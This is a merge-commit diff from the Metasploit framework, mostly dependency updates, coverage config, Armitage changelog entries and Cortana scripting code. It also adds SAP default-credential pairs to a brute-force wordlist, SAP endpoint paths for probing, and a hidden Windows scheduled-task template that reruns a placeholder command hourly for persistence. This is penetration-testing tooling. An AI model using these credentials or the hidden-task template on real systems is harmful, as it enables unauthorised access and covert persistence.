Merge branch 'master' into wds_scanner_repull

bug/bundler_fix
Meatballs 2013-03-07 20:09:44 +00:00
commit df3361df50
515 changed files with 16047 additions and 3787 deletions

58
.simplecov Normal file
View File

@ -0,0 +1,58 @@
# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is
# controlled by running with coverage, so don't explicitly start coverage (and
# therefore generate a report) when in Rubymine. This _will_ generate a report
# whenever `rake spec` is run.
unless ENV['RM_INFO']
SimpleCov.start
end
SimpleCov.configure do
# ignore this file
add_filter '.simplecov'
#
# Changed Files in Git Group
# @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only
#
untracked = `git ls-files --exclude-standard --others`
unstaged = `git diff --name-only`
staged = `git diff --name-only --cached`
all = untracked + unstaged + staged
changed_filenames = all.split("\n")
add_group 'Changed' do |source_file|
changed_filenames.detect { |changed_filename|
source_file.filename.end_with?(changed_filename)
}
end
#
# Framework (msf) related groups
#
add_group 'Metasploit Framework', 'lib/msf'
add_group 'Metasploit Framework (Base)', 'lib/msf/base'
add_group 'Metasploit Framework (Core)', 'lib/msf/core'
#
# Other library groups
#
add_group 'Fastlib', 'lib/fastlib'
add_group 'Metasm', 'lib/metasm'
add_group 'PacketFu', 'lib/packetfu'
add_group 'Rex', 'lib/rex'
add_group 'RKelly', 'lib/rkelly'
add_group 'Ruby Mysql', 'lib/rbmysql'
add_group 'Ruby Postgres', 'lib/postgres'
add_group 'SNMP', 'lib/snmp'
add_group 'Zip', 'lib/zip'
#
# Specs are reported on to ensure that all examples are being run and all
# lets, befores, afters, etc are being used.
#
add_group 'Specs', 'spec'
end

View File

@ -1,4 +1,8 @@
language: ruby
before_install:
- sudo apt-get update -qq
- sudo apt-get install -qq libpcap-dev
rvm:
#- '1.8.7'
- '1.9.3'

12
Gemfile
View File

@ -4,10 +4,20 @@ source 'http://rubygems.org'
gem 'activesupport', '>= 3.0.0'
# Needed for Msf::DbManager
gem 'activerecord'
# Needed for some admin modules (scrutinizer_add_user.rb)
gem 'json'
# Database models shared between framework and Pro.
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.6.0'
# Needed by msfgui and other rpc components
gem 'msgpack'
# Needed by anemone crawler
gem 'nokogiri'
# Needed for module caching in Mdm::ModuleDetails
gem 'pg', '>= 0.11'
# Needed by anemone crawler
gem 'robots'
# For sniffer and raw socket modules
gem 'pcaprub'
group :development do
# Markdown formatting for yard

View File

@ -1,10 +1,10 @@
GIT
remote: git://github.com/rapid7/metasploit_data_models.git
revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
tag: 0.3.0
revision: 0285d6e199f125b33214100dcb0f4eeb12ee765f
tag: 0.6.0
specs:
metasploit_data_models (0.3.0)
activerecord
metasploit_data_models (0.6.0)
activerecord (>= 3.2.10)
activesupport
pg
pry
@ -12,31 +12,36 @@ GIT
GEM
remote: http://rubygems.org/
specs:
activemodel (3.2.9)
activesupport (= 3.2.9)
activemodel (3.2.12)
activesupport (= 3.2.12)
builder (~> 3.0.0)
activerecord (3.2.9)
activemodel (= 3.2.9)
activesupport (= 3.2.9)
activerecord (3.2.12)
activemodel (= 3.2.12)
activesupport (= 3.2.12)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activesupport (3.2.9)
activesupport (3.2.12)
i18n (~> 0.6)
multi_json (~> 1.0)
arel (3.0.2)
builder (3.0.4)
coderay (1.0.8)
coderay (1.0.9)
diff-lcs (1.1.3)
i18n (0.6.1)
i18n (0.6.4)
json (1.7.7)
method_source (0.8.1)
msgpack (0.5.2)
multi_json (1.0.4)
nokogiri (1.5.6)
pcaprub (0.11.3)
pg (0.14.1)
pry (0.9.10)
pry (0.9.12)
coderay (~> 1.0.5)
method_source (~> 0.8)
slop (~> 3.3.1)
slop (~> 3.4)
rake (10.0.2)
redcarpet (2.2.2)
robots (0.10.1)
rspec (2.12.0)
rspec-core (~> 2.12.0)
rspec-expectations (~> 2.12.0)
@ -49,8 +54,8 @@ GEM
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
slop (3.3.3)
tzinfo (0.3.35)
slop (3.4.3)
tzinfo (0.3.36)
yard (0.8.3)
PLATFORMS
@ -59,10 +64,15 @@ PLATFORMS
DEPENDENCIES
activerecord
activesupport (>= 3.0.0)
json
metasploit_data_models!
msgpack
nokogiri
pcaprub
pg (>= 0.11)
rake
redcarpet
robots
rspec (>= 2.12)
simplecov (= 0.5.4)
yard

View File

@ -16,11 +16,16 @@ namespace :yard do
'-',
'COPYING',
'HACKING',
'THIRD-PARTY.md'
'LICENSE',
'CONTRIBUTING.md',
]
yard_options = [
# include documentation for protected methods for developers extending the code.
'--protected'
'--protected',
# Don't bother with files meant to be examples
'--exclude', 'samples/',
'--exclude', '\.ut\.rb/',
'--exclude', '\.ts\.rb/',
]
YARD::Rake::YardocTask.new(:doc) do |t|

Binary file not shown.

Binary file not shown.

View File

@ -1,6 +1,58 @@
Armitage Changelog
==================
6 Mar 13 (tested against msf ca43900a7)
--------
- Active console now gets higher priority when polling msf for output
- Improved team server responsiveness in high latency situations by
creating additional connections to server to balance messages over
- Preferences are now shared among each Armitage connection.
6 Mar 13 (2000h)
--------
- Fixed issue with additional team server connections reporting wrong
application and receiving a summary rejection by the team server.
Cortana Updates (for scripters)
--------
- Added a &publish, &query, &subscribe API to allow inter-script
communication across the team server.
- Added &table_update to set the contents of a table tab without
disturbing the highlighted rows.
- Added an exec_error event. Fired when &m_exec or &m_exec_local fail
due to an error reported by meterpreter.
- Fixed a bug that sometimes caused session_sync to fire twice (boo!)
- Added a 60s timeout to &s_cmd commands. Cortana will give a shell
command 60s to execute. If it doesn't finish in that time, Cortana
will release the lock on the shell so the user can control it.
(ideally, this shouldn't happen... this is a safety mechanism)
- Changed Meterpreter command timeout to 2m from 12s. This is because
https meterpreter might not checkin for up to 60s, if it's been
idle for a long time. This will make &m_cmd less likely to timeout
12 Feb 13 (tested against msf 16438)
---------
- Fixed a corner case preventing the display of removed host labels
when connected to a team server.
- Fixed RPC call cache corruption in team server mode. This bug could
lead to some exploits defaulting to a shell payload when meterpreter
was a possibility.
- Slight optimization to some DB queries. I no longer pull unused
fields making the query marginally faster. Team server is more
efficient too as changes to unused fields won't force data (re)sync.
- Hosts -> Clear Database now clears host labels too.
- Added the ability to manage multiple team server instances through
Armitage. Go to Armitage -> New Connection to connect to another
server. A button bar will appear that allows you to switch active
Armitage connections.
- Credentials available across instances are pooled when using
the [host] -> Login menu and the credential helper.
- Rewrote the event log management code in the team server
- Added nickname tab completion to event log. I feel like I'm writing
an IRC client again.
- Hosts -> Clear Database now asks you to confirm the action.
- Hosts -> Import Hosts announces successful import to event log again.
23 Jan 13 (tested against msf 16351)
---------
- Added helpers to set EXE::Custom and EXE::Template options.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/></Types>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>normal.dot</Template><TotalTime>0</TotalTime><Pages>1</Pages><Words>0</Words><Characters>3</Characters><Application>Microsoft Office Outlook</Application><DocSecurity>0</DocSecurity><Lines>0</Lines><Paragraphs>0</Paragraphs><ScaleCrop>false</ScaleCrop><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>0</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>12.0000</AppVersion></Properties>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/></Relationships>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:ve="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml"><w:body><w:p w:rsidR="00E97639" w:rsidRDefault="00E97639"><w:r><w:t> </w:t></w:r></w:p><w:sectPr w:rsidR="00E97639" w:rsidSect="00B25E88"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:fonts xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="20002A87" w:usb1="80000000" w:usb2="00000008" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Cambria"><w:panose1 w:val="02040503050406030204"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000004B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000009F" w:csb1="00000000"/></w:font><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000207B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000009F" w:csb1="00000000"/></w:font></w:fonts>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:settings xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main"><w:zoom w:percent="100"/><w:embedSystemFonts/><w:attachedTemplate r:id="rId1"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:doNotValidateAgainstSchema/><w:doNotDemarcateInvalidXml/><w:compat><w:useNormalStyleForList/><w:doNotUseIndentAsNumberingTabStop/><w:useAltKinsokuLineBreakRules/><w:allowSpaceOfSameStyleInTable/><w:doNotSuppressIndentation/><w:doNotAutofitConstrainedTables/><w:autofitToFirstFixedWidthCell/><w:underlineTabInNumList/><w:displayHangulFixedWidth/><w:splitPgBreakAndParaMark/><w:doNotVertAlignCellWithSp/><w:doNotBreakConstrainedForcedTable/><w:doNotVertAlignInTxbx/><w:useAnsiKerningPairs/><w:cachedColBalance/></w:compat><w:rsids><w:rsidRoot w:val="00B25E88"/><w:rsid w:val="00890656"/><w:rsid w:val="00B25E88"/><w:rsid w:val="00E97639"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="off"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:uiCompat97To2003/><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:doNotIncludeSubdocsInStats/><w:doNotAutoCompressPictures/><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/></w:settings>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:webSettings xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:optimizeForBrowser/></w:webSettings>

View File

@ -0,0 +1,50 @@
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>DATEHERE</Date>
<Author>USERHERE</Author>
</RegistrationInfo>
<Triggers>
<TimeTrigger>
<Repetition>
<Interval>PT60M</Interval>
<StopAtDurationEnd>false</StopAtDurationEnd>
</Repetition>
<StartBoundary>DATEHERE</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>DOMAINHERE</UserId>
<LogonType>S4U</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>COMMANDHERE</Command>
</Exec>
</Actions>
</Task>

Binary file not shown.

View File

@ -1,20 +0,0 @@
class AddCredFileTable < ActiveRecord::Migration
def self.up
create_table :cred_files do |t|
t.integer :workspace_id, :null => false, :default => 1
t.string :path, :limit => 1024
t.string :ftype, :limit => 16
t.string :created_by
t.string :name, :limit => 512
t.string :desc, :limit => 1024
t.timestamps
end
end
def self.down
drop_table :cred_files
end
end

View File

@ -1,127 +0,0 @@
class MoveOldImportedCredsToNewFiles < ActiveRecord::Migration
class ImportedCred < ActiveRecord::Base
end
class CredFile < ActiveRecord::Base
end
class Workspace < ActiveRecord::Base
end
class << self
def find_or_create_cred_path
cred_files_dir = nil
msf_base = Msf::Config.install_root
pro_base = File.expand_path(File.join(msf_base, "..", "engine", "lib", "pro"))
if File.directory? pro_base
cred_files_dir = File.expand_path(File.join(msf_base, "..", "cred_files"))
FileUtils.mkdir_p(cred_files_dir) unless File.exists?(cred_files_dir)
if File.directory?(cred_files_dir) and File.writable?(cred_files_dir)
end
end
return cred_files_dir
end
def find_all_imported_creds_by_workspace
valid_ptypes = ["smb_hash", "userpass", "password"]
valid_workspaces = Workspace.all.map {|w| w.id}
creds = {}
ImportedCred.all.each do |cred|
next unless cred.ptype
next unless valid_ptypes.include? cred.ptype
next unless cred.workspace_id
next unless valid_workspaces.include? cred.workspace_id
creds[cred.workspace_id] ||= []
creds[cred.workspace_id] << cred
end
return creds
end
def sort_creds_into_file_types(old_creds)
files = {}
old_creds.each do |wid,creds|
filedata = {}
creds.each do |cred|
filedata[cred.ptype] ||= []
case cred.ptype
when "smb_hash", "userpass"
filedata[cred.ptype] << ("%s %s" % [cred.user,cred.pass])
when "password"
filedata[cred.ptype] << cred.pass.to_s
end
files[wid] = filedata
end
end
return files
end
def write_creds_to_files(old_creds,cred_path)
file_data_to_write = sort_creds_into_file_types(old_creds)
files_written = []
file_data_to_write.each do |wid, fdata_hash|
fdata_hash.each do |ftype,cred_data|
next unless cred_data
next if cred_data.empty?
fname = File.join(cred_path,"creds_#{wid}_#{ftype}-#{Time.now.utc.to_i}.txt")
fdata = cred_data.join("\n")
fh = File.open(fname, "wb")
begin
fh.write fdata
fh.flush
ensure
fh.close
end
files_written << fname
end
end
return files_written
end
def register_new_files(new_files)
successful_count = 0
new_files.each do |fname|
next unless File.split(fname).last =~ /^creds_([0-9]+)_(userpass|password|smb_hash)\-[0-9]+\.txt$/
wid = $1
next unless Workspace.find(wid)
ftype = $2
actual_ftype = case ftype
when "smb_hash", "userpass"
"userpass" # They're treated the same
when "password"
"pass"
end
next unless actual_ftype
say "Registering credential file '%s' for workspace %d as type '%s'" % [fname,wid,actual_ftype]
cred_file = CredFile.new
cred_file.workspace_id = wid
cred_file.created_by = ""
cred_file.path = fname
cred_file.name = "#{ftype}.txt"
cred_file.desc = "Migrated #{ftype} credentials"
cred_file.ftype = actual_ftype
if cred_file.save
successful_count += 1
say "Successfully imported #{ftype} credentials for workspace #{wid}"
end
end
successful_count
end
end
def self.up
cred_path = find_or_create_cred_path
if cred_path
old_imported_creds = find_all_imported_creds_by_workspace
new_files = write_creds_to_files(old_imported_creds,cred_path)
successful_count = register_new_files(new_files)
end
end
# Sorry, can't get the old data back.
def self.down
end
end

View File

@ -6,9 +6,14 @@ SAPCPIC ADMIN
EARLYWATCH SUPPORT
TMSADM PASSWORD
TMSADM ADMIN
TMSADM $1Pawd2&
ADMIN welcome
ADSUSER ch4ngeme
ADS_AGENT ch4ngeme
DEVELOPER ch4ngeme
J2EE_ADMIN ch4ngeme
SAPJSF ch4ngeme
SAPR3 SAP
CTB_ADMIN sap123
XMI_DEMO sap123

View File

@ -116,6 +116,7 @@
/sap/bc/bsp/sap/graph_bsp_test
/sap/bc/bsp/sap/graph_bsp_test/Mimes
/sap/bc/bsp/sap/gsbirp
/sap/bc/bsp/sap/hrrcf_wd_dovru
/sap/bc/bsp/sap/htmlb_samples
/sap/bc/bsp/sap/iccmp_bp_cnfirm
/sap/bc/bsp/sap/iccmp_hdr_cntnr
@ -124,6 +125,9 @@
/sap/bc/bsp/sap/iccmp_ssc_ll/
/sap/bc/bsp/sap/ic_frw_notify
/sap/bc/bsp/sap/it00
/sap/bc/bsp/sap/it00/default.htm
/sap/bc/bsp/sap/it00/http_client.htm
/sap/bc/bsp/sap/it00/http_client_xml.htm
/sap/bc/bsp/sap/public/bc
/sap/bc/bsp/sap/public/graphics
/sap/bc/bsp/sap/sam_demo
@ -141,6 +145,17 @@
/sap/bc/bsp/sap/xmb_bsp_log
/sap/bc/contentserver
/sap/bc/echo
/sap/bc/erecruiting/applwzd
/sap/bc/erecruiting/confirmation_e
/sap/bc/erecruiting/confirmation_i
/sap/bc/erecruiting/dataoverview
/sap/bc/erecruiting/password
/sap/bc/erecruiting/posting_apply
/sap/bc/erecruiting/qa_email_e
/sap/bc/erecruiting/qa_email_i
/sap/bc/erecruiting/registration
/sap/bc/erecruiting/startpage
/sap/bc/erecruiting/verification
/sap/bc/error
/sap/bc/FormToRfc
/sap/bc/graphics/net
@ -169,6 +184,32 @@
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
/sap/bc/webdynpro/sap/esh_eng_modelling
/sap/bc/webdynpro/sap/esh_search_results.ui
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int
/sap/bc/webdynpro/sap/hrrcf_a_appls
/sap/bc/webdynpro/sap/hrrcf_a_applwizard
/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration
/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification
/sap/bc/webdynpro/sap/hrrcf_a_dataoverview
/sap/bc/webdynpro/sap/hrrcf_a_draft_applications
/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail
/sap/bc/webdynpro/sap/hrrcf_a_posting_apply
/sap/bc/webdynpro/sap/hrrcf_a_psett_ext
/sap/bc/webdynpro/sap/hrrcf_a_psett_int
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern
/sap/bc/webdynpro/sap/hrrcf_a_qa_mss
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int
/sap/bc/webdynpro/sap/hrrcf_a_req_assess
/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
/sap/bc/webdynpro/sap/wd_analyze_config_appl
/sap/bc/webdynpro/sap/wd_analyze_config_comp
@ -196,9 +237,10 @@
/sapmc/sapmc.html
/sap/monitoring/
/sap/public/bc
/sap/public/bc
/sap/public/bc/icons
/sap/public/bc/icons_rtl
/sap/public/bc/its
/sap/public/bc/its/designs
/sap/public/bc/its/mimes
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
/sap/public/bc/its/mobile/itsmobile00
@ -213,6 +255,7 @@
/sap/public/bc/trex
/sap/public/bc/ur
/sap/public/bc/wdtracetool
/sap/public/bc/webdynpro
/sap/public/bc/webdynpro/adobechallenge
/sap/public/bc/webdynpro/mimes
/sap/public/bc/webdynpro/ssr
@ -220,6 +263,7 @@
/sap/public/bc/webicons
/sap/public/bc/workflow
/sap/public/bc/workflow/shortcut
/sap/public/bsp
/sap/public/bsp/sap
/sap/public/bsp/sap/htmlb
/sap/public/bsp/sap/public

View File

@ -3,7 +3,7 @@
<center><h1>Armitage 1.45</h1></center>
<p>An attack management tool for Metasploit&reg;
<br />Release: 23 Jan 13</p>
<br />Release: 6 Mar 13</p>
<br />
<p>Developed by:</p>

View File

@ -188,13 +188,24 @@ sub table_selected_single {
# table_set($table, @rows)
sub table_set {
later(lambda({
local('$model $row');
$model = [$1 getModel];
[$model clear: size($2) * 2];
foreach $row ($2) {
$model = [$a getModel];
[$model clear: size($b) * 2];
foreach $row ($b) {
[$model addEntry: $row];
}
[$model fireListeners];
}, $a => $1, $b => $2));
}
# table_set($table, @rows)
sub table_update {
later(lambda({
[$a markSelections];
table_set($a, $b);
[$a restoreSelections];
}, $a => $1, $b => $2));
}
# table_sorter($table, index, &function);

View File

@ -9,6 +9,9 @@ import msf.*;
# setg("varname", "value")
sub setg {
if ($1 eq "LHOST") {
call_async("armitage.set_ip", $2);
}
cmd_safe("setg $1 $2");
}
@ -580,6 +583,39 @@ sub data_add {
call("db.key_add", $1, $data);
}
#
# a publish/query/subscribe API
#
# publish("key", $object)
sub publish {
local('$data');
$data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')];
call_async("armitage.publish", $1, "$data $+ \n");
}
# query("key", "index")
sub query {
local('$r @r $result');
$r = call("armitage.query", $1, $2)['data'];
if ($r ne "") {
foreach $result (split("\n", $r)) {
push(@r, unpack("o", [msf.Base64 decode: $result])[0]);
}
}
return @r;
}
# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m")
sub subscribe {
on("heartbeat_ $+ $3", lambda({
local('$result');
foreach $result (query($key, $index)) {
fire_event_local($key, $result, $index);
}
}, $key => $1, $index => $2));
}
#
# Shell shock?
#
@ -831,7 +867,7 @@ sub m_exec {
}, \$command, \$channel, \$buffer));
}
else {
# this is probably ok...
fire_event_local("exec_error", $1, $command, ["$3" trim]);
}
}, \$command));
}

View File

@ -15,7 +15,7 @@ import graph.*;
import java.awt.image.*;
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS');
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL');
sub describeHost {
local('$desc');
@ -164,14 +164,32 @@ sub _connectToMetasploit {
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
$aclient = [new RpcAsync: $client];
$mclient = $client;
push(@POOL, $aclient);
initConsolePool();
$DESCRIBE = "localhost";
}
# we have a team server... connect and authenticate to it.
else {
[$progress setNote: "Connected: logging in"];
$client = c_client($1, $2);
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
$mclient = setup_collaboration($3, $4, $1, $2);
$aclient = $mclient;
if ($mclient is $null) {
[$progress close];
return;
}
else {
[$progress setNote: "Connected: authenticated"];
}
# create six additional connections to team server... for balancing consoles.
local('$x $cc');
for ($x = 0; $x < 6; $x++) {
$cc = c_client($1, $2);
call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326);
push(@POOL, $cc);
}
}
$flag = $null;
}
@ -319,28 +337,23 @@ sub postSetup {
}
sub main {
local('$console $panel $dir');
local('$console $panel $dir $app');
$frame = [new ArmitageApplication];
$frame = [new ArmitageApplication: $__frame__, $DESCRIBE, $mclient];
[$frame setTitle: $TITLE];
[$frame setSize: 800, 600];
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
init_menus($frame);
initLogSystem();
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
[$frame show];
[$frame setExtendedState: [JFrame MAXIMIZED_BOTH]];
# this window listener is dead-lock waiting to happen. That's why we're adding it in a
# separate thread (Sleep threads don't share data/locks).
fork({
[$frame addWindowListener: {
[$__frame__ addWindowListener: {
if ($0 eq "windowClosing" && $msfrpc_handle !is $null) {
closef($msfrpc_handle);
}
}];
}, \$msfrpc_handle, \$frame);
}, \$msfrpc_handle, \$__frame__);
dispatchEvent({
if ($client !is $mclient) {
@ -371,7 +384,6 @@ sub checkDir {
}
}
setLookAndFeel();
checkDir();
if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) {

View File

@ -23,6 +23,7 @@ sub createEventLogTab {
$client = [$cortana getEventLog: $console];
[$client setEcho: $null];
[$console updatePrompt: "> "];
[new EventLogTabCompletion: $console, $mclient];
}
else {
[$console updateProperties: $preferences];
@ -63,6 +64,7 @@ sub c_client {
# run this thing in its own thread to avoid really stupid deadlock situations
local('$handle');
$handle = [[new SecureSocket: $1, int($2), &verify_server] client];
push(@CLOSEME, $handle);
return wait(fork({
local('$client');
$client = newInstance(^RpcConnection, lambda({
@ -91,9 +93,11 @@ sub setup_collaboration {
%r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326);
if (%r["error"] eq "1") {
showErrorAndQuit(%r["message"]);
return $null;
}
%r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326);
$DESCRIBE = "$nick $+ @ $+ $3";
return $mclient;
}

View File

@ -95,13 +95,13 @@ sub dispatchEvent {
sub showError {
dispatchEvent(lambda({
[JOptionPane showMessageDialog: $frame, $message];
[JOptionPane showMessageDialog: $__frame__, $message];
}, $message => $1));
}
sub showErrorAndQuit {
[JOptionPane showMessageDialog: $frame, $1];
